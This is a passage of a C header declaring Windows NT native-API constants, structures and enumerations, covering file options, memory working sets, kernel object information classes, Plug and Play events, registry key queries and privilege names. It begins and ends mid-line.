FILE_COMPLETE_IF_OPLOCKED               0x00000100\r\n#define FILE_NO_EA_KNOWLEDGE                    0x00000200\r\n#define FILE_OPEN_FOR_RECOVERY                  0x00000400\r\n#define FILE_RANDOM_ACCESS                      0x00000800\r\n\r\n#define FILE_DELETE_ON_CLOSE                    0x00001000\r\n#define FILE_OPEN_BY_FILE_ID                    0x00002000\r\n#define FILE_OPEN_FOR_BACKUP_INTENT             0x00004000\r\n#define FILE_NO_COMPRESSION                     0x00008000\r\n\r\n#define FILE_RESERVE_OPFILTER                   0x00100000\r\n#define FILE_OPEN_REPARSE_POINT                 0x00200000\r\n#define FILE_OPEN_NO_RECALL                     0x00400000\r\n#define FILE_OPEN_FOR_FREE_SPACE_QUERY          0x00800000\r\n\r\n\r\n#define FILE_COPY_STRUCTURED_STORAGE            0x00000041\r\n#define FILE_STRUCTURED_STORAGE                 0x00000441\r\n\r\n#define FILE_VALID_OPTION_FLAGS                 0x00ffffff\r\n#define FILE_VALID_PIPE_OPTION_FLAGS            0x00000032\r\n#define FILE_VALID_MAILSLOT_OPTION_FLAGS        0x00000032\r\n#define FILE_VALID_SET_FLAGS                    0x00000036\r\n\r\n#define WIN32_CLIENT_INFO_LENGTH 62\r\n\r\n#define PIO_APC_ROUTINE_DEFINED\r\n\r\ntypedef struct _PORT_VIEW {\r\n\tULONG Length;\r\n\tLPC_HANDLE SectionHandle;\r\n\tULONG SectionOffset;\r\n\tLPC_SIZE_T ViewSize;\r\n\tLPC_PVOID ViewBase;\r\n\tLPC_PVOID ViewRemoteBase;\r\n} PORT_VIEW, *PPORT_VIEW;\r\n\r\ntypedef struct _REMOTE_PORT_VIEW {\r\n\tULONG Length;\r\n\tLPC_SIZE_T ViewSize;\r\n\tLPC_PVOID ViewBase;\r\n} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW;\r\n\r\n#define IO_COMPLETION_QUERY_STATE   0x0001\r\n#define IO_COMPLETION_MODIFY_STATE  0x0002  \r\n#define IO_COMPLETION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) \r\n\r\ntypedef enum _IO_COMPLETION_INFORMATION_CLASS {\r\n\tIoCompletionBasicInformation\r\n} IO_COMPLETION_INFORMATION_CLASS;\r\n\r\ntypedef enum _PORT_INFORMATION_CLASS {\r\n\tPortBasicInformation\r\n} PORT_INFORMATION_CLASS;\r\n\r\ntypedef enum _SECTION_INHERIT {\r\n\tViewShare = 1,\r\n\tViewUnmap = 2\r\n} SECTION_INHERIT;\r\n\r\n//added 21/03/2011\r\ntypedef struct _MEMORY_WORKING_SET_BLOCK\r\n{\r\n\tULONG_PTR Protection : 5;\r\n\tULONG_PTR ShareCount : 3;\r\n\tULONG_PTR Shared : 1;\r\n\tULONG_PTR Node : 3;\r\n#if defined(_M_X64)\r\n\tULONG_PTR VirtualPage : 52;\r\n#else\r\n\tULONG VirtualPage : 20;\r\n#endif\r\n} MEMORY_WORKING_SET_BLOCK, *PMEMORY_WORKING_SET_BLOCK;\r\n\r\ntypedef struct _MEMORY_WORKING_SET_INFORMATION\r\n{\r\n\tULONG_PTR NumberOfEntries;\r\n\tMEMORY_WORKING_SET_BLOCK WorkingSetInfo[1];\r\n} MEMORY_WORKING_SET_INFORMATION, *PMEMORY_WORKING_SET_INFORMATION;\r\n\r\ntypedef struct _MEMORY_WORKING_SET_EX_BLOCK\r\n{\r\n\tULONG_PTR Valid : 1;\r\n\tULONG_PTR ShareCount : 3;\r\n\tULONG_PTR Win32Protection : 11;\r\n\tULONG_PTR Shared : 1;\r\n\tULONG_PTR Node : 6;\r\n\tULONG_PTR Locked : 1;\r\n\tULONG_PTR LargePage : 1;\r\n\tULONG_PTR Priority : 3;\r\n\tULONG_PTR Reserved : 5;\r\n\r\n#if defined(_M_X64)\r\n\tULONG_PTR ReservedUlong : 32;\r\n#endif\r\n} MEMORY_WORKING_SET_EX_BLOCK, *PMEMORY_WORKING_SET_EX_BLOCK;\r\n\r\ntypedef struct _MEMORY_REGION_INFORMATION\r\n{\r\n\tPVOID AllocationBase;\r\n\tULONG AllocationProtect;\r\n\tULONG RegionType;\r\n\tSIZE_T RegionSize;\r\n} MEMORY_REGION_INFORMATION, *PMEMORY_REGION_INFORMATION;\r\n\r\ntypedef struct _MEMORY_WORKING_SET_EX_INFORMATION\r\n{\r\n\tPVOID VirtualAddress;\r\n\tunion\r\n\t{\r\n\t\tMEMORY_WORKING_SET_EX_BLOCK VirtualAttributes;\r\n\t\tULONG Long;\r\n\t};\r\n} MEMORY_WORKING_SET_EX_INFORMATION, *PMEMORY_WORKING_SET_EX_INFORMATION;\r\n\r\ntypedef\r\nVOID\r\n(*PTIMER_APC_ROUTINE) (\r\n    IN PVOID TimerContext,\r\n    IN ULONG TimerLowValue,\r\n    IN LONG TimerHighValue\r\n    );\r\n\r\ntypedef enum _SHUTDOWN_ACTION {\r\n\tShutdownNoReboot,\r\n\tShutdownReboot,\r\n\tShutdownPowerOff\r\n} SHUTDOWN_ACTION;\r\n\r\ntypedef enum _ATOM_INFORMATION_CLASS\r\n{\r\n\tAtomBasicInformation,\r\n\tAtomTableInformation\r\n} ATOM_INFORMATION_CLASS;\r\n\r\ntypedef struct _ATOM_BASIC_INFORMATION\r\n{\r\n\tUSHORT UsageCount;\r\n\tUSHORT Flags;\r\n\tUSHORT NameLength;\r\n\tWCHAR Name[1];\r\n} ATOM_BASIC_INFORMATION, *PATOM_BASIC_INFORMATION;\r\n\r\ntypedef struct _ATOM_TABLE_INFORMATION\r\n{\r\n\tULONG NumberOfAtoms;\r\n\tRTL_ATOM Atoms[1];\r\n} ATOM_TABLE_INFORMATION, *PATOM_TABLE_INFORMATION;\r\n\r\n#define SEMAPHORE_QUERY_STATE       0x0001\r\n#define SEMAPHORE_MODIFY_STATE      0x0002\r\n\r\n#define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3)\r\n\r\ntypedef enum _SEMAPHORE_INFORMATION_CLASS {\r\n\tSemaphoreBasicInformation\r\n} SEMAPHORE_INFORMATION_CLASS;\r\n\r\ntypedef struct _SEMAPHORE_BASIC_INFORMATION {\r\n\tLONG CurrentCount;\r\n\tLONG MaximumCount;\r\n} SEMAPHORE_BASIC_INFORMATION, *PSEMAPHORE_BASIC_INFORMATION;\r\n\r\n#define MUTANT_QUERY_STATE      0x0001\r\n\r\n#define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\\\r\n\tMUTANT_QUERY_STATE)\r\n\r\ntypedef enum _MUTANT_INFORMATION_CLASS {\r\n\tMutantBasicInformation\r\n} MUTANT_INFORMATION_CLASS;\r\n\r\ntypedef struct _MUTANT_BASIC_INFORMATION {\r\n\tLONG CurrentCount;\r\n\tBOOLEAN OwnedByCaller;\r\n\tBOOLEAN AbandonedState;\r\n} MUTANT_BASIC_INFORMATION, *PMUTANT_BASIC_INFORMATION;\r\n\r\n#define TIMER_QUERY_STATE       0x0001\r\n#define TIMER_MODIFY_STATE      0x0002\r\n\r\n#define TIMER_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\\\r\n\tTIMER_QUERY_STATE|TIMER_MODIFY_STATE)\r\ntypedef enum _TIMER_INFORMATION_CLASS {\r\n\tTimerBasicInformation\r\n} TIMER_INFORMATION_CLASS;\r\n\r\ntypedef struct _TIMER_BASIC_INFORMATION {\r\n\tLARGE_INTEGER RemainingTime;\r\n\tBOOLEAN TimerState;\r\n} TIMER_BASIC_INFORMATION, *PTIMER_BASIC_INFORMATION;\r\n\r\ntypedef enum _SECTION_INFORMATION_CLASS {\r\n\tSectionBasicInformation,\r\n\tSectionImageInformation,\r\n\tMaxSectionInfoClass\r\n} SECTION_INFORMATION_CLASS;\r\n\r\n#define OBJ_NAME_PATH_SEPARATOR ((WCHAR)L'\\\\')\r\n#define OBJ_MAX_REPARSE_ATTEMPTS 32\r\n#define OBJECT_TYPE_CREATE (0x0001)\r\n#define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)\r\n\r\n#define DIRECTORY_QUERY                 (0x0001)\r\n#define DIRECTORY_TRAVERSE              (0x0002)\r\n#define DIRECTORY_CREATE_OBJECT         (0x0004)\r\n#define DIRECTORY_CREATE_SUBDIRECTORY   (0x0008)\r\n\r\n#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF)\r\n#define SYMBOLIC_LINK_QUERY (0x0001)\r\n#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)\r\n\r\ntypedef enum _OBJECT_INFORMATION_CLASS {\r\n\tObjectBasicInformation,\r\n\tObjectNameInformation,\r\n\tObjectTypeInformation,\r\n\tObjectTypesInformation,\r\n\tObjectHandleFlagInformation,\r\n\tObjectSessionInformation,\r\n\tMaxObjectInfoClass\r\n} OBJECT_INFORMATION_CLASS;\r\n\r\ntypedef struct _OBJECT_BASIC_INFORMATION {\r\n\tULONG Attributes;\r\n\tACCESS_MASK GrantedAccess;\r\n\tULONG HandleCount;\r\n\tULONG PointerCount;\r\n\tULONG PagedPoolCharge;\r\n\tULONG NonPagedPoolCharge;\r\n\tULONG Reserved[ 3 ];\r\n\tULONG NameInfoSize;\r\n\tULONG TypeInfoSize;\r\n\tULONG SecurityDescriptorSize;\r\n\tLARGE_INTEGER CreationTime;\r\n} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION;\r\n\r\ntypedef struct _OBJECT_NAME_INFORMATION {\r\n\tUNICODE_STRING Name;\r\n} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;\r\n\r\ntypedef struct _OBJECT_TYPE_INFORMATION\r\n{\r\n\tUNICODE_STRING TypeName;\r\n\tULONG TotalNumberOfObjects;\r\n\tULONG TotalNumberOfHandles;\r\n\tULONG TotalPagedPoolUsage;\r\n\tULONG TotalNonPagedPoolUsage;\r\n\tULONG TotalNamePoolUsage;\r\n\tULONG TotalHandleTableUsage;\r\n\tULONG HighWaterNumberOfObjects;\r\n\tULONG HighWaterNumberOfHandles;\r\n\tULONG HighWaterPagedPoolUsage;\r\n\tULONG HighWaterNonPagedPoolUsage;\r\n\tULONG HighWaterNamePoolUsage;\r\n\tULONG HighWaterHandleTableUsage;\r\n\tULONG InvalidAttributes;\r\n\tGENERIC_MAPPING GenericMapping;\r\n\tULONG ValidAccessMask;\r\n\tBOOLEAN SecurityRequired;\r\n\tBOOLEAN MaintainHandleCount;\r\n\tULONG PoolType;\r\n\tULONG DefaultPagedPoolCharge;\r\n\tULONG DefaultNonPagedPoolCharge;\r\n} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;\r\n\r\ntypedef struct _OBJECT_TYPES_INFORMATION\r\n{\r\n\tULONG NumberOfTypes;\r\n\tOBJECT_TYPE_INFORMATION TypeInformation;\r\n} OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION;\r\n\r\ntypedef struct _OBJECT_HANDLE_FLAG_INFORMATION\r\n{\r\n\tBOOLEAN Inherit;\r\n\tBOOLEAN ProtectFromClose;\r\n} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION;\r\n\r\ntypedef enum _PLUGPLAY_EVENT_CATEGORY {\r\n\tHardwareProfileChangeEvent,\r\n\tTargetDeviceChangeEvent,\r\n\tDeviceClassChangeEvent,\r\n\tCustomDeviceEvent,\r\n\tDeviceInstallEvent,\r\n\tDeviceArrivalEvent,\r\n\tPowerEvent,\r\n\tVetoEvent,\r\n\tBlockedDriverEvent,\r\n\tInvalidIDEvent,\r\n\tMaxPlugEventCategory\r\n} PLUGPLAY_EVENT_CATEGORY, *PPLUGPLAY_EVENT_CATEGORY;\r\n\r\ntypedef enum _PNP_VETO_TYPE {\r\n\tPNP_VetoTypeUnknown,            // Name is unspecified\r\n\tPNP_VetoLegacyDevice,           // Name is an Instance Path\r\n\tPNP_VetoPendingClose,           // Name is an Instance Path\r\n\tPNP_VetoWindowsApp,             // Name is a Module\r\n\tPNP_VetoWindowsService,         // Name is a Service\r\n\tPNP_VetoOutstandingOpen,        // Name is an Instance Path\r\n\tPNP_VetoDevice,                 // Name is an Instance Path\r\n\tPNP_VetoDriver,                 // Name is a Driver Service Name\r\n\tPNP_VetoIllegalDeviceRequest,   // Name is an Instance Path\r\n\tPNP_VetoInsufficientPower,      // Name is unspecified\r\n\tPNP_VetoNonDisableable,         // Name is an Instance Path\r\n\tPNP_VetoLegacyDriver,           // Name is a Service\r\n\tPNP_VetoInsufficientRights      // Name is unspecified\r\n}   PNP_VETO_TYPE, *PPNP_VETO_TYPE;\r\n\r\ntypedef struct _PLUGPLAY_EVENT_BLOCK {\r\n\t//\r\n\t// Common event data\r\n\t//\r\n\tGUID EventGuid;\r\n\tPLUGPLAY_EVENT_CATEGORY EventCategory;\r\n\tPULONG Result;\r\n\tULONG Flags;\r\n\tULONG TotalSize;\r\n\tPVOID DeviceObject;\r\n\r\n\tunion {\r\n\r\n\t\tstruct {\r\n\t\t\tGUID ClassGuid;\r\n\t\t\tWCHAR SymbolicLinkName[1];\r\n\t\t} DeviceClass;\r\n\r\n\t\tstruct {\r\n\t\t\tWCHAR DeviceIds[1];\r\n\t\t} TargetDevice;\r\n\r\n\t\tstruct {\r\n\t\t\tWCHAR DeviceId[1];\r\n\t\t} InstallDevice;\r\n\r\n\t\tstruct {\r\n\t\t\tPVOID NotificationStructure;\r\n\t\t\tWCHAR DeviceIds[1];\r\n\t\t} CustomNotification;\r\n\r\n\t\tstruct {\r\n\t\t\tPVOID Notification;\r\n\t\t} ProfileNotification;\r\n\r\n\t\tstruct {\r\n\t\t\tULONG NotificationCode;\r\n\t\t\tULONG NotificationData;\r\n\t\t} PowerNotification;\r\n\r\n\t\tstruct {\r\n\t\t\tPNP_VETO_TYPE VetoType;\r\n\t\t\tWCHAR DeviceIdVetoNameBuffer[1]; // DeviceId<NULL>VetoName<NULL><NULL>\r\n\t\t} VetoNotification;\r\n\r\n\t\tstruct {\r\n\t\t\tGUID BlockedDriverGuid;\r\n\t\t} BlockedDriverNotification;\r\n\r\n\t\tstruct {\r\n\t\t\tWCHAR ParentId[1];\r\n\t\t} InvalidIDNotification;\r\n\r\n\t} u;\r\n\r\n} PLUGPLAY_EVENT_BLOCK, *PPLUGPLAY_EVENT_BLOCK;\r\n\r\ntypedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;\r\n\r\n#define MDL_HASH_TABLE_SIZE 64\r\n#define MDL_HASH_MASK\t(MDL_HASH_TABLE_SIZE-1)\r\n#define MDL_HASH_INDEX(wch) ((RtlUpcaseUnicodeChar((wch)) - (WCHAR)'A') & MDL_HASH_MASK)\r\n\r\n#if !defined(_WINNT_)\r\n#define HEAP_MAKE_TAG_FLAGS( b, o ) ((ULONG)((b) + ((o) << 18)))\r\n#endif\r\n#define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS\r\n\r\ntypedef struct _TIME_FIELDS {\r\n\tCSHORT Year;        // range [1601...]\r\n\tCSHORT Month;       // range [1..12]\r\n\tCSHORT Day;         // range [1..31]\r\n\tCSHORT Hour;        // range [0..23]\r\n\tCSHORT Minute;      // range [0..59]\r\n\tCSHORT Second;      // range [0..59]\r\n\tCSHORT Milliseconds;// range [0..999]\r\n\tCSHORT Weekday;     // range [0..6] == [Sunday..Saturday]\r\n} TIME_FIELDS;\r\ntypedef TIME_FIELDS *PTIME_FIELDS;\r\n\r\ntypedef struct _RTL_TIME_ZONE_INFORMATION {\r\n\tLONG Bias;\r\n\tWCHAR StandardName[ 32 ];\r\n\tTIME_FIELDS StandardStart;\r\n\tLONG StandardBias;\r\n\tWCHAR DaylightName[ 32 ];\r\n\tTIME_FIELDS DaylightStart;\r\n\tLONG DaylightBias;\r\n} RTL_TIME_ZONE_INFORMATION, *PRTL_TIME_ZONE_INFORMATION;\r\n\r\ntypedef struct _RTL_BITMAP_RUN {\r\n\tULONG StartingIndex;\r\n\tULONG NumberOfBits;\r\n} RTL_BITMAP_RUN;\r\ntypedef RTL_BITMAP_RUN *PRTL_BITMAP_RUN;\r\n\r\ntypedef struct _PARSE_MESSAGE_CONTEXT {\r\n\tULONG fFlags;\r\n\tULONG cwSavColumn;\r\n\tSIZE_T iwSrc;\r\n\tSIZE_T iwDst;\r\n\tSIZE_T iwDstSpace;\r\n\tva_list lpvArgStart;\r\n} PARSE_MESSAGE_CONTEXT, *PPARSE_MESSAGE_CONTEXT;\r\n\r\ntypedef enum _RTL_RXACT_OPERATION {\r\n\tRtlRXactOperationDelete = 1,        // Causes sub-key to be deleted\r\n\tRtlRXactOperationSetValue,          // Sets sub-key value (creates key(s) if necessary)\r\n\tRtlRXactOperationDelAttribute,\r\n\tRtlRXactOperationSetAttribute\r\n} RTL_RXACT_OPERATION, *PRTL_RXACT_OPERATION;\r\n\r\ntypedef struct _RTL_RXACT_LOG {\r\n\tULONG OperationCount;\r\n\tULONG LogSize;\r\n\tULONG LogSizeInUse;\r\n#if defined(_M_X64)\r\n\tULONG Alignment;\r\n#endif\r\n} RTL_RXACT_LOG, *PRTL_RXACT_LOG;\r\n\r\ntypedef struct _RTL_RXACT_CONTEXT {\r\n\tHANDLE RootRegistryKey;\r\n\tHANDLE RXactKey;\r\n\tBOOLEAN HandlesValid;\r\n\tPRTL_RXACT_LOG RXactLog;\r\n} RTL_RXACT_CONTEXT, *PRTL_RXACT_CONTEXT;\r\n\r\n#define MAXIMUM_LEADBYTES   12\r\n\r\ntypedef struct _CPTABLEINFO {\r\n\tUSHORT CodePage;                    // code page number\r\n\tUSHORT MaximumCharacterSize;        // max length (bytes) of a char\r\n\tUSHORT DefaultChar;                 // default character (MB)\r\n\tUSHORT UniDefaultChar;              // default character (Unicode)\r\n\tUSHORT TransDefaultChar;            // translation of default char (Unicode)\r\n\tUSHORT TransUniDefaultChar;         // translation of Unic default char (MB)\r\n\tUSHORT DBCSCodePage;                // Non 0 for DBCS code pages\r\n\tUCHAR  LeadByte[MAXIMUM_LEADBYTES]; // lead byte ranges\r\n\tPUSHORT MultiByteTable;             // pointer to MB translation table\r\n\tPVOID   WideCharTable;              // pointer to WC translation table\r\n\tPUSHORT DBCSRanges;                 // pointer to DBCS ranges\r\n\tPUSHORT DBCSOffsets;                // pointer to DBCS offsets\r\n} CPTABLEINFO, *PCPTABLEINFO;\r\n\r\ntypedef struct _NLSTABLEINFO {\r\n\tCPTABLEINFO OemTableInfo;\r\n\tCPTABLEINFO AnsiTableInfo;\r\n\tPUSHORT UpperCaseTable;             // 844 format upcase table\r\n\tPUSHORT LowerCaseTable;             // 844 format lower case table\r\n} NLSTABLEINFO, *PNLSTABLEINFO;\r\n\r\n#define RTL_RANGE_LIST_SHARED_OK           0x00000001\r\n#define RTL_RANGE_LIST_NULL_CONFLICT_OK    0x00000002\r\n\r\ntypedef struct _RTL_RANGE {\r\n\tULONGLONG Start;    // Read only\r\n\tULONGLONG End;      // Read only\r\n\tPVOID UserData;     // Read/Write\r\n\tPVOID Owner;        // Read/Write\r\n\tUCHAR Attributes;    // Read/Write\r\n\tUCHAR Flags;       // Read only\r\n} RTL_RANGE, *PRTL_RANGE;\r\n\r\ntypedef\r\n\tBOOLEAN\r\n\t(*PRTL_CONFLICT_RANGE_CALLBACK) (\r\n\tIN PVOID Context,\r\n\tIN PRTL_RANGE Range\r\n\t);\r\n\r\ntypedef enum _EVENT_INFORMATION_CLASS {\r\n\tEventBasicInformation\r\n} EVENT_INFORMATION_CLASS;\r\n\r\n\r\ntypedef enum _PLUGPLAY_CONTROL_CLASS {\r\n\tPlugPlayControlEnumerateDevice,\r\n\tPlugPlayControlRegisterNewDevice,\r\n\tPlugPlayControlDeregisterDevice,\r\n\tPlugPlayControlInitializeDevice,\r\n\tPlugPlayControlStartDevice,\r\n\tPlugPlayControlUnlockDevice,\r\n\tPlugPlayControlQueryAndRemoveDevice,\r\n\tPlugPlayControlUserResponse,\r\n\tPlugPlayControlGenerateLegacyDevice,\r\n\tPlugPlayControlGetInterfaceDeviceList,\r\n\tPlugPlayControlProperty,\r\n\tPlugPlayControlDeviceClassAssociation,\r\n\tPlugPlayControlGetRelatedDevice,\r\n\tPlugPlayControlGetInterfaceDeviceAlias,\r\n\tPlugPlayControlDeviceStatus,\r\n\tPlugPlayControlGetDeviceDepth,\r\n\tPlugPlayControlQueryDeviceRelations,\r\n\tPlugPlayControlTargetDeviceRelation,\r\n\tPlugPlayControlQueryConflictList,\r\n\tPlugPlayControlRetrieveDock,\r\n\tPlugPlayControlResetDevice,\r\n\tPlugPlayControlHaltDevice,\r\n\tPlugPlayControlGetBlockedDriverList,\r\n\tMaxPlugPlayControl\r\n} PLUGPLAY_CONTROL_CLASS, *PPLUGPLAY_CONTROL_CLASS;\r\n\r\ntypedef\r\nVOID\r\n(*PPS_APC_ROUTINE) (\r\n    _In_opt_ PVOID ApcArgument1,\r\n    _In_opt_ PVOID ApcArgument2,\r\n    _In_opt_ PVOID ApcArgument3\r\n    );\r\n\r\ntypedef enum _KEY_INFORMATION_CLASS {\r\n\tKeyBasicInformation,\r\n\tKeyNodeInformation,\r\n\tKeyFullInformation,\r\n\tKeyNameInformation,\r\n\tKeyCachedInformation,\r\n\tKeyFlagsInformation,\r\n\tMaxKeyInfoClass\r\n} KEY_INFORMATION_CLASS;\r\n\r\ntypedef struct _KEY_BASIC_INFORMATION {\r\n\tLARGE_INTEGER LastWriteTime;\r\n\tULONG TitleIndex;\r\n\tULONG NameLength;\r\n\tWCHAR Name[1];\r\n} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION;\r\n\r\ntypedef enum _KEY_VALUE_INFORMATION_CLASS {\r\n\tKeyValueBasicInformation,\r\n\tKeyValueFullInformation,\r\n\tKeyValuePartialInformation,\r\n\tKeyValueFullInformationAlign64,\r\n\tKeyValuePartialInformationAlign64,\r\n\tMaxKeyValueInfoClass\r\n} KEY_VALUE_INFORMATION_CLASS;\r\n\r\n//\r\n// Value entry query structures\r\n// 14.09.11\r\n\r\ntypedef struct _KEY_VALUE_BASIC_INFORMATION {\r\n    ULONG   TitleIndex;\r\n    ULONG   Type;\r\n    ULONG   NameLength;\r\n    WCHAR   Name[1];            // Variable size\r\n} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION;\r\n\r\ntypedef struct _KEY_VALUE_FULL_INFORMATION {\r\n    ULONG   TitleIndex;\r\n    ULONG   Type;\r\n    ULONG   DataOffset;\r\n    ULONG   DataLength;\r\n    ULONG   NameLength;\r\n    WCHAR   Name[1];            // Variable size\r\n//          Data[1];            // Variable size data not declared\r\n} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION;\r\n\r\ntypedef struct _KEY_VALUE_PARTIAL_INFORMATION {\r\n    ULONG   TitleIndex;\r\n    ULONG   Type;\r\n    ULONG   DataLength;\r\n    UCHAR   Data[1];            // Variable size\r\n} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION;\r\n\r\ntypedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 {\r\n    ULONG   Type;\r\n    ULONG   DataLength;\r\n    UCHAR   Data[1];            // Variable size\r\n} KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, *PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64;\r\n\r\ntypedef struct _KEY_VALUE_ENTRY {\r\n    PUNICODE_STRING ValueName;\r\n    ULONG           DataLength;\r\n    ULONG           DataOffset;\r\n    ULONG           Type;\r\n} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY;\r\n\r\n//\r\n// end of value info\r\n//\r\n\r\ntypedef enum _KEY_SET_INFORMATION_CLASS {\r\n\tKeyWriteTimeInformation,\r\n\tKeyUserFlagsInformation,\r\n\tMaxKeySetInfoClass\r\n} KEY_SET_INFORMATION_CLASS;\r\n\r\n#define SE_CREATE_TOKEN_NAME\t\t\t\t\t\t\t\tTEXT(\"SeCreateTokenPrivilege\")\r\n#define SE_ASSIGNPRIMARYTOKEN_NAME\t\t\t\t\tTEXT(\"SeAssignPrimaryTokenPrivilege\")\r\n#define SE_LOCK_MEMORY_NAME\t\t\t\t\t\t\t\t\tTEXT(\"SeLockMemoryPrivilege\")\r\n#define SE_INCREASE_QUOTA_NAME\t\t\t\t\t\t\tTEXT(\"SeIncreaseQuotaPrivilege\")\r\n#define SE_UNSOLICITED_INPUT_NAME\t\t\t\t\t\tTEXT(\"SeUnsolicitedInputPrivilege\")\r\n#define SE_MACHINE_ACCOUNT_NAME\t\t\t\t\t\t\tTEXT(\"SeMachineAccountPrivilege\")\r\n#define SE_TCB_NAME\t\t\t\t\t\t\t\t\t\t\t\t\tTEXT(\"SeTcbPrivilege\")\r\n#define SE_SECURITY_NAME\t\t\t\t\t\t\t\t\t\tTEXT(\"SeSecurityPrivilege\")\r\n#define SE_TAKE_OWNERSHIP_NAME\t\t\t\t\t\t\tTEXT(\"SeTakeOwnershipPrivilege\")\r\n#define SE_LOAD_DRIVER_NAME\t\t\t\t\t\t\t\t\tTEXT(\"SeLoadDriverPrivilege\")\r\n#define SE_SYSTEM_PROFILE_NAME\t\t\t\t\t\t\tTEXT(\"SeSystemProfilePrivilege\")\r\n#define SE_SYSTEMTIME_NAME\t\t\t\t\t\t\t\t\tTEXT(\"SeSystemtimePrivilege\")\r\n#define SE_PROF_SINGLE_PROCESS_NAME\t\t\t\t\tTEXT(\"SeProfileSingleProcessPrivilege\")\r\n#define SE_INC_BASE_PRIORITY_NAME\t\t\t\t\t\tTEXT(\"SeIncreaseBasePriorityPrivilege\")\r\n#define SE_CREATE_PAGEFILE_NAME\t\t\t\t\t\t\tTEXT(\"SeCreatePagefilePrivilege\")\r\n#define SE_CREATE_PERMANENT_NAME\t\t\t\t\t\tTEXT(\"SeCreatePermanentPrivilege\")\r\n#define SE_BACKUP_NAME\t\t\t\t\t\t\t\t\t\t\tTEXT(\"SeBackupPrivilege\")\r\n#define SE_RESTORE_NAME\t\t\t\t\t\t\t\t\t\t\tTEXT(\"SeRestorePrivilege\")\r\n#define SE_SHUTDOWN_NAME\t\t\t\t\t\t\t\t\t\tTEXT(\"SeShutdownPrivilege\")\r\n#define SE_DEBUG_NAME\t\t\t\t\t\t\t\t\t\t\t\tTEXT(\"SeDebugPrivilege\")\r\n#define SE_AUDIT_NAME\t\t\t\t\t\t\t\t\t\t\t\tTEXT(\"SeAuditPrivilege\")\r\n#define SE_SYSTEM_ENVIRONMENT_NAME\t\t\t\t\tTEXT(\"SeSystemEnvironmentPrivilege\")\r\n#define SE_CHANGE_NOTIFY_NAME\t\t\t\t\t\t\t\tTEXT(\"SeChangeNotifyPrivilege\")\r\n#define SE_REMOTE_SHUTDOWN_NAME\t\t\t\t\t\t\tTEXT(\"SeRemoteShutdownPrivilege\")\r\n#define SE_UNDOCK_NAME\t\t\t\t\t\t\t\t\t\t\tTEXT(\"SeUndockPrivilege\")\r\n#define SE_SYNC_AGENT_NAME\t\t\t\t\t\t\t\t\tTEXT(\"SeSyncAgentPrivilege\")\r\n#define SE_ENABLE_DELEGATION_NAME\t\t\t\t\t\tTEXT(\"SeEnableDelegationPrivilege\")\r\n#define SE_MANAGE_VOLUME_NAME\t\t\t\t\t\t\t\tTEXT(\"SeManageVolumePrivilege\")\r\n#define SE_IMPERSONATE_NAME\t\t\t\t\t\t\t\t\tTEXT(\"SeImpersonatePrivilege\")\r\n// #define SE_CREATE_GLOBAL_PRIVILEGE\t\t\t\t\tTEXT(\"SeCreateGlobalPrivilege\")\r\n// #define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE\tTEXT(\"SeTrustedCredmanAccessPrivilege\")\r\n// #define SE_RELABEL_PRIVILEGE\t\t\t\t\t\t\t\tTEXT(\"SeReLabelPrivilege\")\r\n#define SE_CREATE_GLOBAL_NAME\t\t\t\t\t\t\t\tTEXT(\"SeCreateGlobalPrivilege\")\r\n\r\n// Privileges\r\n\r\n#define SE_MIN_WELL_KNOWN_PRIVILEGE (2L)\r\n#define SE_CREATE_TOKEN_PRIVILEGE (2L)\r\n#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L)\r\n#define SE_LOCK_MEMORY_PRIVILEGE (4L)\r\n#define SE_INCREASE_QUOTA_PRIVILEGE (5L)\r\n\r\n#define SE_MACHINE_ACCOUNT_PRIVILEGE (6L)\r\n#define SE_TCB_PRIVILEGE (7L)\r\n#define SE_SECURITY_PRIVILEGE (8L)\r\n#define SE_TAKE_OWNERSHIP_PRIVILEGE (9L)\r\n#define SE_LOAD_DRIVER_PRIVILEGE (10L)\r\n#define SE_SYSTEM_PROFILE_PRIVILEGE (11L)\r\n#define SE_SYSTEMTIME_PRIVILEGE (12L)\r\n#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L)\r\n#define SE_INC_BASE_PRIORITY_PRIVILEGE (14L)\r\n#define SE_CREATE_PAGEFILE_PRIVILEGE (15L)\r\n#define SE_CREATE_PERMANENT_PRIVILEGE (16L)\r\n#define SE_BACKUP_PRIVILEGE (17L)\r\n#define SE_RESTORE_PRIVILEGE (18L)\r\n#define SE_SHUTDOWN_PRIVILEGE (19L)\r\n#define SE_DEBUG_PRIVILEGE (20L)\r\n#define SE_AUDIT_PRIVILEGE (21L)\r\n#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L)\r\n#define SE_CHANGE_NOTIFY_PRIVILEGE (23L)\r\n#define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L)\r\n#define SE_UNDOCK_PRIVILEGE 